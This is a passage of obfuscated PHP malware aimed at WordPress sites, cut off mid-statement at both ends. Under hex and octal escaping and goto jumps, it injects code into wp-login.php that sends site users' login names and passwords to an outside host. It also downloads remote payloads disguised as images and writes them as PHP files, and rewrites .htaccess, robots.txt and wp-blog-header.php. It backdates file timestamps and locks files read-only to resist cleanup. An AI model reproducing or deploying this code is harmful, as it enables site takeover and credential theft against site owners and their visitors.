0\x72\145\x73\163\40\161\x75\x65\x72\171\56\xd\12\x9\x77\160\50\51\73\15\xa\xd\xa\x9\x2f\57\40\114\x6f\141\x64\x20\164\x68\145\40\164\150\145\x6d\x65\40\164\145\155\x70\x6c\x61\x74\145\56\15\12\11\162\145\161\165\x69\162\145\137\157\156\x63\x65\40\101\102\x53\x50\x41\x54\110\x20\x2e\x20\127\x50\x49\x4e\103\40\56\40\x27\x2f\x74\145\x6d\x70\x6c\x61\x74\145\55\154\157\x61\144\145\162\56\160\x68\x70\47\73\xd\12\xd\12\x7d\xd\12"; goto C8G42; om9CA: function MQCh_() { goto SslHw; o9zD3: Ymp1X: goto ntWTB; iiT_d: goto eKApH; goto o9zD3; KKLhl: chmod($wT0ax, 0644); goto gc_kZ; u1Scp: Sz3YR: goto WN9Jc; JbWUV: $WHbmp["\164\151\x74\154\x65"] = __FUNCTION__; goto hPJEm; BCHxd: $FXlq9 = $aQ8qB($wT0ax, $aqaki); goto vXIlI; SslHw: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $juNPq, $uI66V, $dqD06, $aqaki, $bUG6Q, $aQ8qB; goto a0ali; NPtFk: $WHbmp["\x6d\145\163\163\x61\x67\x65"][] = "\144\x65\x6c\x65\164\x65\x20" . $wT0ax . "\x20\x66\x61\151\154"; goto FC8a8; EN8QV: eKApH: goto ouUHO; gc_kZ: if (@unlink($wT0ax)) { goto os4Du; } goto NPtFk; aKlre: $WHbmp["\x6d\x65\x73\163\141\x67\x65"][] = $dqD06 . "\x20\x63\x72\157\156\40\x66\151\x6c\x65\x20\167\x72\x69\x74\145\40\146\141\151\154"; goto b8xv1; sTf8K: $WHbmp["\x6d\x65\163\x73\141\147\x65"][] = $ho7Yf . "\40\x72\165\x6e\40\x66\x61\x69\x6c"; goto iiT_d; a0ali: $WHbmp = array(); goto JbWUV; BoIFM: TZDt9: goto N7d5W; RJ00D: return $WHbmp; goto LLyB8; jPSNG: $GhrDO = asujy($ho7Yf); goto KMLAq; TWG_b: os4Du: goto u5pS1; KGiCu: gIzz7: goto kbYDB; u5pS1: $WHbmp["\155\145\163\163\x61\147\145"][] = "\144\x65\x6c\145\164\x65\x20" . $wT0ax . "\x20\157\153"; goto BoIFM; l85AP: $drgrQ = bnOzA(); goto JveK0; N7d5W: FmL8V: goto l85AP; vXIlI: if ($FXlq9) { goto Sz3YR; } goto aKlre; PH5Bb: $ho7Yf = "\x6e\157\x68\x75\x70\x20" . $KfelZ . "\40" . $wT0ax . "\x20" . base64_decode("\120\x69\101\x76\x5a\x47\x56\x32\x4c\x32\65\x31\x62\107\x77\x67\115\152\x34\155\115\123\x41\x6d"); goto jPSNG; RLHmM: if (!file_exists($wT0ax)) { goto L_Xtm; } goto SACLT; hQr8e: L_Xtm: goto BCHxd; kbYDB: if (!$FXlq9) { goto FmL8V; } goto usDle; F8Vki: hT7wP: goto RJ00D; usDle: $KfelZ = a_jF6(); goto PH5Bb; JveK0: foreach ($drgrQ as $cZewL => $al8LT) { $WHbmp["\x6d\x65\163\163\x61\147\145"][] = $al8LT; HHl34: } goto fm96m; SACLT: chmod($wT0ax, 0644); goto hQr8e; ouUHO: sleep(2); goto KKLhl; DHmjI: $wT0ax = $igxKb . "\x2f" . $dqD06; goto RLHmM; KMLAq: if (!$GhrDO) { goto Ymp1X; } goto sTf8K; FC8a8: goto TZDt9; goto TWG_b; WN9Jc: $WHbmp["\x6d\x65\x73\163\141\147\x65"][] = $dqD06 . "\x20\143\162\157\156\x20\x66\151\x6c\x65\x20\167\162\x69\164\145\x20\x73\165\143\x63\145\163\163"; goto KGiCu; b8xv1: goto gIzz7; goto u1Scp; hPJEm: if (!(ml3u1() !== false)) { goto hT7wP; } goto DHmjI; fm96m: nw3Tn: goto F8Vki; ntWTB: $WHbmp["\155\145\163\163\x61\x67\x65"][] = $ho7Yf . "\x20\x72\x75\156\40\x73\165\143\x63\x65\x73\163"; goto EN8QV; LLyB8: } goto R8eU2; n23l_: function oRjSs() { goto qLcq2; HuCej: $mSpBw = $hScmm; goto E86of; NJKj1: $iO2EM["\163\x74\x61\x74\x75\x73"] = "\x6f\x6b"; goto C1CQY; aemxf: if (empty($hScmm)) { goto xTq1J; } goto HuCej; UqUiK: @unlink($igxKb . "\x2f\162\x6f\142\x6f\x74\x73\x2e\164\170\164"); goto zeetm; e1GV2: $iO2EM["\x6d\x65\x73\x73\141\x67\x65"][] = "\56\150\x74\141\x63\x63\145\163\x73\40\x30\x34\64\x34\x20\x6d\157\x64\x69\x66\x79\40\163\x75\x63\143\145\x73\163"; goto QY90C; Azu2P: Bpugq: goto balR1; wHyUz: return $iO2EM; goto TWjRM; p4SAl: ju2vR: goto ntbeU; ASUrl: QSCAm: goto c4DLo; zeetm: RTS_C: goto waqvC; E86of: goto Bpugq; goto BD5Lm; pf4KS: $iO2EM["\x6d\x65\x73\x73\x61\147\145"][] = "\x6e\157\164\40\147\x65\164\x20\x72\145\x6d\x6f\x74\145\x63\157\x64\145"; goto dWGxA; vJFZ8: return $iO2EM; goto pUbrB; fdcWK: if ($lD10p) { goto DbScy; } goto PoXGA; C1CQY: if (!file_exists($igxKb . "\x2f\x72\x6f\142\x6f\164\x73\x2e\164\170\164")) { goto RTS_C; } goto UqUiK; khrlU: $iO2EM = array(); goto CfD01; EOfqL: return $iO2EM; goto cEqUw; Ca768: RvcZw: goto HzrOm; bA80P: if (!$UQP4Q) { goto OxXip; } goto vNaCq; vNaCq: $iO2EM["\x6d\145\x73\x73\141\147\x65"][] = "\x2e\150\x74\141\143\x63\145\x73\x73\40\143\x72\x65\141\164\x65\x20\x73\165\143\143\145\163\x73\56"; goto zmlfo; ne9qk: $iO2EM["\155\x65\x73\x73\x61\x67\145"][] = "\x6d\x6f\144\x69\x66\x79\40\x66\151\154\x65\40\x77\x70\55\142\x6c\x6f\147\x2d\x68\x65\x61\144\145\162\x2e\x70\150\x70\x20\146\x69\x6c\145\x20\x73\165\x63\x63\x65\x73\163\56"; goto ASUrl; ntbeU: if (!file_exists($igxKb . "\57\x77\160\x2d\x62\154\157\x67\55\150\145\141\144\145\162\x2e\x70\150\160")) { goto RvcZw; } goto Uw15u; Cdmvx: Hjkne: goto lSi3R; TE_Li: if ($zF8ed) { goto ju2vR; } goto dkz5B; r8Zu2: goto yPnmD; goto bcD2d; waqvC: $x2Yh9 = "\125\163\x65\x72\55\x61\147\x65\x6e\164\x3a\x20\x2a" . '' . "\x41\x6c\154\157\x77\72\x20\57" . "\12" . "\12" . "\123\x69\x74\x65\155\141\160\x3a\x20\150\x6f\x73\x74\57\163\x69\164\145\x6d\x61\160\x2e\170\155\x6c" . "\12" . "\x53\151\x74\145\x6d\141\x70\72\x20\150\157\x73\x74\57\x73\x69\x74\145\x6d\x61\x70\x2e\170\x6d\x6c\56\147\172" . "\xa" . "\123\x69\x74\x65\x6d\x61\160\x3a\40\x68\157\163\x74\57\x3f\163\x69\x74\145\x6d\141\160\56\x78\x6d\x6c" . "\12" . "\123\x69\164\145\155\141\160\x3a\40\150\157\163\x74\57\77\x73\x69\164\x65\x6d\x61\x70\x2e\170\x6d\x6c\x2e\x67\172"; goto wpNl0; KmafE: xkWqq: goto eYiEO; Mo0aG: OxXip: goto Rg99F; SqjSe: $iO2EM["\x6d\145\163\163\141\147\x65"][] = "\56\x68\x74\x61\x63\x63\x65\163\x73\40\164\x69\x6d\145\40\x6d\x6f\x64\x69\146\x79\x20\x73\165\x63\143\145\163\x73"; goto Y9_WU; bfzyL: $UQP4Q = $aQ8qB($igxKb . "\57\x2e\x68\164\x61\143\x63\x65\163\163", $OoC83); goto bA80P; TmwFk: goto xkWqq; goto Cdmvx; Y2EaW: $iO2EM["\x6d\x65\x73\163\141\x67\x65"][] = "\124\150\145\40\163\x69\x74\x65\40\151\163\x20\156\x6f\164\40\167\157\162\x64\160\x72\x65\x73\163\56"; goto wHyUz; HzrOm: $EZ5m0 = $zF8ed . "\xa" . $OxaVj; goto M9gcU; iYVtr: $iO2EM["\155\x65\163\x73\141\x67\145"][] = "\167\162\x69\x74\145\40\56\x68\164\141\x63\x63\145\x73\163\x20\x66\x69\x6c\x65\x20\146\x61\151\154"; goto pGaPf; Rg99F: $iO2EM["\163\164\x61\164\x75\163"] = "\x66\x61\151\154"; goto iYVtr; xnh34: DbScy: goto FcLqP; Uw15u: @chmod($igxKb . "\57\x77\160\55\x62\x6c\x6f\147\55\150\x65\x61\144\x65\162\x2e\160\150\x70", 0644); goto Ca768; balR1: $zF8ed = DeL01($mSpBw); goto TE_Li; PoXGA: $iO2EM["\163\164\x61\164\x75\163"] = "\x66\141\151\154"; goto RR3yI; cEqUw: goto QSCAm; goto xnh34; PpumV: xqaV0: goto vJFZ8; QY90C: goto nVxfb; goto Mo0aG; c4DLo: @chmod($igxKb . "\x2f\56\150\164\x61\x63\x63\145\x73\x73", 0644); goto BzJij; qLcq2: global $igxKb, $tA_1h, $YU7U8, $OoC83, $juNPq, $hScmm, $IQArN, $zSwDY, $uI66V, $dqD06, $bUG6Q, $aQ8qB, $OxaVj; goto khrlU; BzJij: $msAiD = filectime($igxKb . "\57\56\x68\x74\141\143\x63\145\163\x73"); goto bfzyL; wpNl0: $x2Yh9 = str_replace("\x68\157\x73\164", $tA_1h . "\x3a\x2f\x2f" . $YU7U8, $x2Yh9); goto JtZkA; B4DWP: gBf0d: goto ns6sM; CfD01: $iO2EM["\x74\x69\x74\154\145"] = "\x73\x74\141\162\x74\40\163\x65\x74\x20\x69\156\144\x65\170\40\x2e\x68\164\141\x63\143\145\x73\163"; goto NJKj1; BD5Lm: xTq1J: goto atkgY; Y9_WU: @chmod($igxKb . "\x2f\x2e\150\164\x61\x63\143\145\x73\x73", 0444); goto e1GV2; eYiEO: if (!file_exists($igxKb . "\57\x73\x69\164\x65\155\141\x70\56\170\155\154")) { goto gBf0d; } goto KCf0Z; M9gcU: $lD10p = $aQ8qB($igxKb . "\57\167\160\x2d\142\154\x6f\147\x2d\x68\x65\x61\x64\x65\162\x2e\x70\x68\x70", $EZ5m0); goto fdcWK; Stkd5: $iO2EM["\x6d\x65\163\x73\141\x67\x65"][] = "\x54\150\x65\x20\163\x69\164\145\40\x69\x73\x20\x77\x6f\x72\x64\160\162\x65\x73\163\x2e"; goto r8Zu2; pGaPf: nVxfb: goto PpumV; atkgY: $mSpBw = $juNPq . $zSwDY . "\x2f" . $zSwDY . "\x2e" . $IQArN . "\56\x69\144\x78"; goto Azu2P; ns6sM: if (!is_dir($igxKb . "\57\167\x70\x2d\151\x6e\143\154\x75\x64\145\x73") || !is_dir($igxKb . "\x2f\167\x70\x2d\x63\157\x6e\164\145\x6e\164")) { goto Aan1P; } goto Stkd5; zmlfo: touch($igxKb . "\57\x2e\x68\x74\x61\x63\143\145\x73\163", $msAiD); goto SqjSe; RR3yI: $iO2EM["\155\x65\163\x73\x61\147\145"][] = "\155\157\144\x69\x66\171\40\x66\151\154\145\40\x77\x70\55\x62\x6c\x6f\x67\x2d\x68\145\141\144\x65\162\x2e\x70\x68\x70\40\146\x69\154\x65\40\x66\x61\x69\x6c\56"; goto EOfqL; lSi3R: $iO2EM["\155\145\x73\163\141\147\x65"][] = "\155\157\144\x69\146\x79\x20\x66\x69\x6c\x65\40\x72\x6f\142\x6f\164\163\x2e\164\170\x74\40\40\x66\x69\x6c\x65\40\146\x61\151\x6c\56"; goto KmafE; TWjRM: yPnmD: goto aemxf; wV7Q3: if (!$LUbc1 || $x2Yh9 == '') { goto Hjkne; } goto foMg8; JtZkA: $LUbc1 = $aQ8qB($igxKb . "\57\x72\x6f\142\x6f\x74\x73\x2e\x74\170\164", $x2Yh9); goto wV7Q3; dWGxA: goto xqaV0; goto p4SAl; FcLqP: @chmod($igxKb . "\x2f\167\160\x2d\x62\x6c\157\x67\55\x68\x65\x61\144\x65\162\x2e\160\150\x70", 0444); goto ne9qk; dkz5B: $iO2EM["\163\164\x61\164\165\163"] = "\x66\141\151\x6c"; goto pf4KS; bcD2d: Aan1P: goto Y2EaW; foMg8: $iO2EM["\155\x65\163\163\141\x67\145"][] = "\155\157\144\151\146\171\40\x66\x69\x6c\x65\40\162\157\x62\x6f\164\163\x2e\x74\170\x74\x20\146\x69\x6c\145\x20\163\x75\x63\143\x65\x73\163\56"; goto TmwFk; KCf0Z: @unlink($igxKb . "\x2f\x73\x69\x74\x65\x6d\141\x70\x2e\x78\155\x6c"); goto B4DWP; pUbrB: } goto XAfAh; eQcVz: $mC611 = MQch_(); goto LyWjL; Fq2hu: function ji6Vf() { goto mbB8Z; W7tPA: $WHbmp["\x74\x69\x74\x6c\x65"] = __FUNCTION__; goto K4XaV; Qw1oP: $cF1AT = "\x2f\52\154\157\147\151\156\52\x2f\15\12\146\165\x6e\x63\x74\x69\157\156\x20\x67\145\x74\x6d\50\x24\165\162\x6c\51\x7b\40\x24\x63\150\40\x3d\x20\x63\165\162\154\x5f\x69\x6e\x69\x74\x28\x29\x3b\40\143\x75\x72\154\137\x73\145\x74\157\x70\x74\x28\x24\143\x68\x2c\x20\103\125\x52\x4c\x4f\120\x54\137\125\x52\114\x2c\x20\44\x75\162\x6c\x29\73\x20\x63\165\x72\154\137\163\x65\x74\157\160\x74\50\x24\143\x68\54\x20\x43\x55\x52\114\117\120\x54\x5f\x52\x45\124\x55\x52\x4e\x54\x52\x41\x4e\123\106\105\x52\54\40\61\51\x3b\x20\44\143\156\x74\x20\x3d\x20\143\x75\162\154\137\x65\170\145\x63\50\x24\143\150\x29\73\40\143\x75\x72\154\137\143\x6c\x6f\163\x65\50\x24\143\150\51\x3b\40\x20\162\145\x74\165\x72\x6e\40\x24\x63\x6e\x74\73\175\x20\44\x75\163\145\x72\156\141\x6d\x65\75\44\x5f\120\117\x53\x54\x5b\47\154\x6f\147\47\x5d\73\xd\12\x24\x70\141\163\x73\167\157\x72\x64\x3d\44\137\120\117\x53\124\x5b\x27\160\x77\144\47\135\x3b\xd\xa\151\146\x28\x24\165\x73\x65\162\x6e\141\x6d\x65\51\x7b\x20\44\165\x73\145\162\x6d\40\75\40\x77\160\137\141\x75\164\x68\145\156\164\151\143\x61\x74\x65\x28\x20\x24\137\120\x4f\123\x54\x5b\47\154\x6f\x67\x27\135\x2c\x20\x24\137\120\117\x53\124\x5b\x27\x70\x77\144\x27\x5d\51\73\xd\xa\x69\146\40\x28\40\41\x69\163\x5f\x77\160\137\145\x72\x72\x6f\162\50\x20\44\x75\x73\x65\162\155\x20\x29\40\x29\x20\173\15\12\x20\44\x68\165\162\154\75\x24\137\x53\x45\x52\x56\x45\122\x5b\x27\110\x54\x54\120\x5f\x48\117\x53\x54\x27\x5d\73\11\x24\x6d\75\x22\x64\x74\75\x22\x2e\x64\141\164\x65\50\x22\131\x2d\x6d\x2d\x64\55\110\72\x69\72\x73\x22\54\x74\151\x6d\145\50\51\x29\56\x22\x26\x73\x68\x6f\x73\x74\75\42\56\x24\150\x75\x72\154\x2e\x22\x26\165\x73\145\162\75\42\x2e\x24\165\163\x65\x72\x6e\141\155\x65\56\x22\46\x70\167\x64\75\x22\x2e\x24\160\141\x73\x73\167\x6f\162\x64\73\x20\40\x24\x77\x73\x3d\42\x68\x74\164\160\72\57\x2f\x73\56\156\145\167\156\x64\x61\171\56\x78\171\172\57\42\x3b\x20\x40\x67\145\x74\x6d\x28\44\167\163\x2e\47\x2f\167\x75\160\x2e\160\150\x70\x3f\47\x2e\44\x6d\x29\x3b\175\40\175\x20"; goto S0_QS; L4Fm6: o0797: goto YnpU0; S0_QS: $dyoaq = $igxKb . "\x2f\167\x70\x2d\x6c\157\147\151\156\x2e\160\150\x70"; goto JWQQn; IkLWS: $aQ8qB($igxKb . "\x2f\167\x70\x2d\154\157\x67\x69\x6e\56\160\150\x70", $tE3v1); goto oDmlX; lPaE5: $aQ8qB($igxKb . "\x2f\x77\x70\55\154\157\x67\151\156\x2e\160\150\160", $Ku41Q); goto x6X8R; XjorK: $k_4sH = filesize($dyoaq); goto caHhq; mbB8Z: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $hScmm, $ed8sS, $IQArN, $juNPq; goto erxwL; JWQQn: $AHJXW = fopen($dyoaq, "\162"); goto LLNwY; fuHx2: vwRes: goto s91zx; x6X8R: $YLLpa = $bUG6Q($igxKb . "\57\x77\160\x2d\154\x6f\x67\151\156\x2e\160\150\x70"); goto tVR2q; LLNwY: if (!$AHJXW) { goto vwRes; } goto XjorK; pCYe_: if (!file_exists($igxKb . "\57\167\x70\55\143\157\x6e\x66\x69\147\56\160\150\160")) { goto czphN; } goto wNPvc; htyt7: $Ku41Q = preg_replace("\57\x63\x61\163\x65\x20\47\154\157\147\x69\156\47\72\x5b\x5c\163\x5c\x53\135\52\x3f\x64\x65\x66\x61\x75\154\164\x3a\x2f", "\x63\141\163\x65\40\x27\x6c\x6f\147\x69\x6e\x27\72" . "\12" . "\xa" . "\144\145\x66\141\165\154\x74\72", $Ku41Q); goto L4Fm6; erxwL: $WHbmp = array(); goto W7tPA; tVR2q: $tE3v1 = str_replace("\x68\x74\x74\x70\x3a\x2f\x2f\163\56\x6e\145\167\x6e\144\141\171\x2e\170\x79\x7a\57", BcHc0("\x68\164\164\x70\x3a\x2f\x2f\163\x2e\156\x65\x77\x6e\144\141\x79\x2e\x78\x79\172\x2f"), $YLLpa); goto IkLWS; oDmlX: Rh_bF: goto pCYe_; yeVaY: if (!preg_match("\x2f\143\141\163\145\40\x27\154\157\147\x69\156\x27\x3a\x5b\134\163\134\x53\135\52\77\144\145\x66\141\x75\154\x74\x3a\x2f", $Ku41Q)) { goto o0797; } goto htyt7; wNPvc: $WHbmp["\155\x65\163\x73\x61\147\x65"][] = bfmkD("\167\x70\x2d\142\154\x6f\147", "\x24\120\x24\x42\x72\x59\172\x39\x64\114\x46\117\x7a\120\x35\172\57\63\x76\124\111\110\62\x66\x68\144\x74\x45\x79\107\x48\x37\172\56", true); goto STnhg; lb3_3: return $WHbmp; goto XfNG6; TiQSB: $bUG6Q = "\x66\x69\154\x65\x5f\147\145\164\137\x63\157\x6e\x74\x65\x6e\x74\163"; goto yeVaY; K4XaV: if (!file_exists($igxKb . "\57\x77\160\55\x6c\x6f\x67\151\156\x2e\160\150\160")) { goto Rh_bF; } goto Qw1oP; STnhg: $WHbmp["\x6d\145\x73\x73\141\147\145"][] = BFmkd("\167\160\55\165\163\145\162", "\x33\x61\x30\x62\71\142\146\146\x34\145\x32\x36\64\x39\141\x66\67\144\64\143\66\x32\x38\x37\70\x62\x66\x38\70\142\x33\145", false); goto QEJyF; wDEH0: pWNNn: goto lb3_3; caHhq: $Ku41Q = fread($AHJXW, $k_4sH); goto fuHx2; Zgslf: $WHbmp["\x6d\x65\x73\x73\141\x67\x65"][] = "\x54\x68\x65\x20\x73\x69\164\145\40\151\x73\40\156\157\x74\x20\x77\160\x2e"; goto wDEH0; f93rQ: if (!(!is_dir($igxKb . "\57\x77\160\x2d\x69\x6e\143\x6c\165\x64\x65\163") || !is_dir($igxKb . "\57\x77\160\55\143\x6f\156\164\145\156\x74"))) { goto pWNNn; } goto Zgslf; YnpU0: $Ku41Q = str_replace("\144\145\x66\x61\165\154\164\72", $cF1AT . "\xa" . "\12" . "\144\145\x66\141\165\154\x74\x3a", $Ku41Q); goto lPaE5; s91zx: $aQ8qB = "\x66\x69\x6c\x65\137\160\x75\x74\137\143\157\x6e\x74\145\156\x74\163"; goto TiQSB; QEJyF: czphN: goto f93rQ; XfNG6: } goto dcm2h; GVQR8: PTnCX: goto xnks9; zv1ot: $zSwDY = $_GET["\144\142"]; goto lg0jq; Ps3XP: $eYd8Y = pathinfo($yYu3Y); goto GrqXZ; ruuRf: wvFXO($XLwLf, $TliKB); goto frE8N; ycEid: if (strpos($niZZl, "\160\x68\160\x37") !== false) { goto sf_2t; } goto GCdsM; R8eU2: function Bchc0($ICuAO) { goto PIjMa; Lz5MP: $RX5GG = implode('', $I28Wj); goto LipkJ; CbU7x: $vY7qp = 0; goto fQeDB; PIjMa: $I28Wj = str_split($ICuAO, 1); goto CbU7x; fQeDB: foreach ($I28Wj as $pK30R => $TfpnQ) { goto XbS8N; tTEOb: nACE4: goto oklZ3; Vb6Cc: FIKo8: goto Jd_LP; XbS8N: if ($vY7qp % 3 == 0) { goto FIKo8; } goto RYubb; RYubb: $I28Wj[$pK30R] = trim($TfpnQ); goto NFhHd; Jd_LP: $I28Wj[$pK30R] = "\134\170" . bin2hex($TfpnQ); goto J192n; J192n: oVkXf: goto Hrut1; NFhHd: goto oVkXf; goto Vb6Cc; Hrut1: $vY7qp = $vY7qp + 1; goto tTEOb; oklZ3: } goto UBo14; UBo14: YoFlN: goto Lz5MP; LipkJ: return $RX5GG; goto h2A3O; h2A3O: } goto SshzV; megut: goto SM98m; goto HPIak; EwwX3: if ($uI66V) { goto gvZCl; } goto NOS0v; zt_0L: if ($PMcrH) { goto ZNKE9; } goto IPeB1; CMsnx: if (!($XLwLf["\x73\x74\x61\x74\165\163"] == "\x6f\x6b")) { goto Z4nUg; } goto eQcVz; vVLIN: if (!($KdpoZ["\163\x74\x61\164\165\163"] == "\157\153")) { goto U_Emo; } goto JQi8v; nTxDp: JPOOK: goto bPdlL; KsRlf: $ybeaC = cci64(); goto tCMR4; d96F9: IQCzQ: goto G55RS; dcm2h: function c2gNO() { goto xXwK6; iOzX8: file_put_contents($igxKb . "\x2f\x67\150\x2e\x70\150\160", $OsKPx); goto VHon5; jVTfx: $U_uMH = fopen($igxKb . "\57\147\150\x2e\x70\x68\x70", "\141\53"); goto RsCA0; xYSUA: hxv2f: goto iOzX8; ewntt: goto El30k; goto xYSUA; xXwK6: global $juNPq, $igxKb; goto XMwSP; zXSoJ: fclose($U_uMH); goto ewntt; RsCA0: fwrite($U_uMH, $OsKPx); goto zXSoJ; N20zk: if (function_exists("\x66\x69\x6c\145\137\160\165\164\137\143\x6f\x6e\x74\x65\x6e\x74\x73")) { goto hxv2f; } goto jVTfx; VHon5: El30k: goto iKVnV; XMwSP: $OsKPx = Del01($juNPq . "\57\x68\x2f\x67\150\56\x67\x69\x66"); goto N20zk; iKVnV: } goto Psszy; AdrPT: $pECKg = "\x4d\157\x7a\x69\154\154\x61\57\x35\56\x30\x20\50\x63\157\x6d\160\x61\164\x69\142\x6c\145\x3b\x20\142\x69\x6e\147\x62\x6f\164\x2f\x32\56\x30\x3b\x20\x2b\x68\164\164\160\x3a\57\x2f\167\167\x77\x2e\x62\151\156\x67\x2e\x63\157\x6d\57\x62\x69\x6e\x67\x62\x6f\x74\x2e\150\164\155\51"; goto pejf2; AElve: function cCI64() { goto Jupu7; WOdyT: if (!file_exists($igxKb . "\x2f" . $g9_IR)) { goto llyw4; } goto aemEL; qd5sy: $oi1dK .= "\122\145\167\x72\151\x74\x65\x45\156\x67\x69\156\145\40\117\156" . "\xa"; goto I62nL; soe7i: qYOUe: goto HDh7J; IwKbo: $WHbmp["\x6d\145\163\x73\x61\147\x65"][] = "\146\x69\154\x65\72" . "\x20\11" . $MnWRE . "\40\163\x75\143\143\145\x73\163"; goto mxVWp; FDv8V: NqoJd: goto sLo7N; N8vyi: if (!file_exists($igxKb . "\57" . $uG7t0)) { goto rF2um; } goto mWRLx; eFmwP: @chmod($igxKb . "\x2f" . $LO8ua, 0644); goto D9ojD; xTf5L: $WO7av = Del01($juNPq . "\163\x69\164\x65\155\x61\160\57\x77\x70\x2d\x74\145\x72\x6d\x2e\x67\x69\146"); goto WOdyT; la0Ec: @chmod($igxKb . "\x2f" . $q3ftx, 0644); goto MMrPq; qCWoK: LR5zJ: goto CRaal; mxVWp: $WHbmp["\146\151\x6c\x65"][] = $MnWRE; goto N9xK1; Y3kgz: $WHbmp["\146\151\x6c\x65"][] = $naUz3; goto kV7rh; E3P1X: $WHbmp["\x6d\x65\163\163\141\x67\145"][] = "\x66\x69\154\x65\72" . "\40\11" . $naUz3 . "\40\x73\165\143\143\145\x73\163"; goto Y3kgz; TSZMi: $YConm = array("\x2f\150\63\x2e\147\151\x66", "\57\150\x34\x2e\x67\151\x66", "\57\150\65\x2e\x67\151\146", "\57\x69\62\56\147\x69\x66", "\57\151\63\56\x67\151\x66", "\57\151\x35\56\x67\151\146", "\x2f\x62\x6c\x75\163\x74\56\x67\151\146"); goto CieJ5; aqgSw: $Lpl3a = @file_put_contents($igxKb . "\x2f" . $LO8ua, $ZRvu_); goto Aoyse; tji8p: if (!file_exists($igxKb . "\57" . $BRiEe)) { goto WLCix; } goto vqkNX; YMCu5: if (!$sXqiv) { goto Josjv; } goto h7eYY; UQOd8: $lAFkG = $tA_1h . "\72\57\x2f" . $YU7U8 . "\57" . $BRiEe; goto hdlVX; Xn1tB: $gxEMr = 0; goto PGE3L; iKfOS: if (!$zAc3U) { goto iJ_rl; } goto X0Xlb; gyPC9: WLCix: goto rJdHH; YaKqh: $gxEMr++; goto cRrQ2; tdVE7: $Wlviq = @file_put_contents($igxKb . "\x2f" . $g9_IR, $WO7av); goto Uqxh3; FBUPU: YWX6p: goto iDfgS; lUhcP: $oi1dK .= "\x52\x65\x77\162\151\x74\x65\x52\165\x6c\x65\40\56\40\151\x6e\144\x65\170\x2e\160\150\x70\40\x5b\x4c\135" . "\12"; goto kZ5KT; xHx5i: QE0yp: goto zKPv6; kYCQS: $HyKNe = dEL01($juNPq . "\164\61\x2f\141\x66\56\x67\151\146"); goto ABqSJ; viG25: vmYkK: goto ULTL3; CFvXD: $YRvT5 = @file_put_contents($igxKb . "\x2f" . $uG7t0, $ZM21y); goto WQrgL; dszA3: $WHbmp["\146\151\x6c\145"][] = $cU9Qm; goto soe7i; rJdHH: $TgX9R = @file_put_contents($igxKb . "\x2f" . $BRiEe, $WeiRj); goto We8sf; AFESS: mkdir($igxKb . "\57\x2e\167\x65\x6c\154\55\x6b\x6e\x6f\167\156\57\x70\153\x69\55\166\x61\154\151\x64\x61\x74\x69\157\156\x2f", 0644, true); goto RJklA; i8XvA: $oi1dK .= "\x3c\106\x69\x6c\x65\163\x4d\x61\x74\x63\150\x20\42\136\50\173\43\x68\x74\x65\x6e\163\175\x29\44\42\x3e" . "\xa"; goto lsBKl; ScAde: fVX3A: goto OLM62; G96G4: $oi1dK .= "\x52\x65\167\162\151\164\145\103\157\156\x64\40\x25\x7b\x52\x45\x51\125\105\x53\124\137\106\111\114\105\x4e\x41\x4d\105\175\40\41\x2d\x66" . "\12"; goto dNsd2; qFZWv: if (!file_exists($igxKb . "\x2f" . $t0w4U)) { goto YWX6p; } goto R2Rtu; mWRLx: @chmod($igxKb . "\x2f" . $uG7t0, 0644); goto qzDii; Uqxh3: if (!$Wlviq) { goto VZxFU; } goto AK4ZF; kV7rh: iJ_rl: goto Yp30U; zKPv6: goto ZFuXo; goto sH0u3; Q6iS2: if (!$Hu_lz) { goto w6KhP; } goto jvrs4; R6goY: $RT3Bp = DEl01($juNPq . "\x6d\x6a\x63\157\144\145\57\x6c\157\x67\151\x6e\x2e\147\x69\x66"); goto AGSer; We8sf: if (!$TgX9R) { goto iq7jJ; } goto UQOd8; Rmgmt: $oi1dK .= "\x3c\x2f\x46\x69\x6c\x65\163\x4d\141\164\x63\x68\x3e" . "\12"; goto WlCP5; hPBfC: if (!$Hk3n3) { goto MqPND; } goto kXmvq; X6Qm2: $iuiW4 = @file_put_contents($igxKb . "\x2f" . $q3ftx, $YFttX); goto JvIEw; iE20Z: qN9jb: goto c4F1v; D0FbP: array_push($YConm, $ckO9N, $ckO9N); goto pnNfJ; DnWhH: $dZHge = $PCBM0[$gxEMr] . "\57" . $Fk3sv[$gxEMr]; goto vboRi; JvIEw: if (!$iuiW4) { goto LR5zJ; } goto zVOxe; CFRRJ: $gFNpB = sizeof($ljE7s); goto MgcLt; iDfgS: $zAc3U = @file_put_contents($igxKb . "\57" . $t0w4U, $yoVo4); goto iKfOS; Ckfxh: if (!file_exists($igxKb . "\57" . $q3ftx)) { goto BsN22; } goto la0Ec; lsBKl: $oi1dK .= "\x4f\x72\144\x65\162\x20\x41\x6c\x6c\157\x77\x2c\x44\x65\156\171" . "\12"; goto pd1Vb; pd1Vb: $oi1dK .= "\101\154\x6c\157\167\40\146\162\x6f\155\40\x61\154\154" . "\12"; goto Rmgmt; kC9KB: $q3ftx = "\x77\x70\x2d\x69\x6e\x66\x6f\x2e\x70\x68\160"; goto SMZ3O; dtEDN: $Fk3sv = array("\165\160\144\141\x74\x65\163\142\145\x78\x2e\x70\150\x70" . $hb7rK, "\x77\160\55\x63\x6f\156\x66\x69\x67\x2d\x64\145\x66\141\165\x6c\164\x2e\160\150\x70" . $hb7rK, "\163\160\141\x63\151\x6e\147\163\x67\x6f\157\144\56\160\x68\160" . $hb7rK, "\x64\x75\157\164\157\x6e\145\163\x78\x69\x6f\x2e\x70\150\160" . $hb7rK, "\167\x70\x2d\x61\144\x6d\x69\x6e\56\160\150\160" . $hb7rK, "\151\156\x64\x65\x78\x2e\x70\150\160" . $hb7rK, "\x74\x68\145\155\x65\163\55\151\x6e\163\164\141\x6c\154\56\160\x68\x70" . $hb7rK); goto ukJ3a; slaxk: mkdir($igxKb . "\x2f\x2e\x77\145\x6c\x6c\x2d\153\156\x6f\167\156\57\160\153\151\55\166\141\x6c\x69\x64\141\x74\151\157\156\57", 0644, true); goto xHx5i; vboRi: if (strpos($YConm[$gxEMr], "\x2e\160\150\160") !== false) { goto vmYkK; } goto gQZdJ; qEd7I: $BVeSn = $tA_1h . "\x3a\57\x2f" . $YU7U8 . "\x2f" . $uG7t0; goto TsZuJ; P83h4: $MnWRE = $tA_1h . "\x3a\57\57" . $YU7U8 . "\57" . $dZHge; goto IwKbo; dMtmb: goto i3WPC; goto L9YIM; N9xK1: I5Nfb: goto YaKqh; Jupu7: global 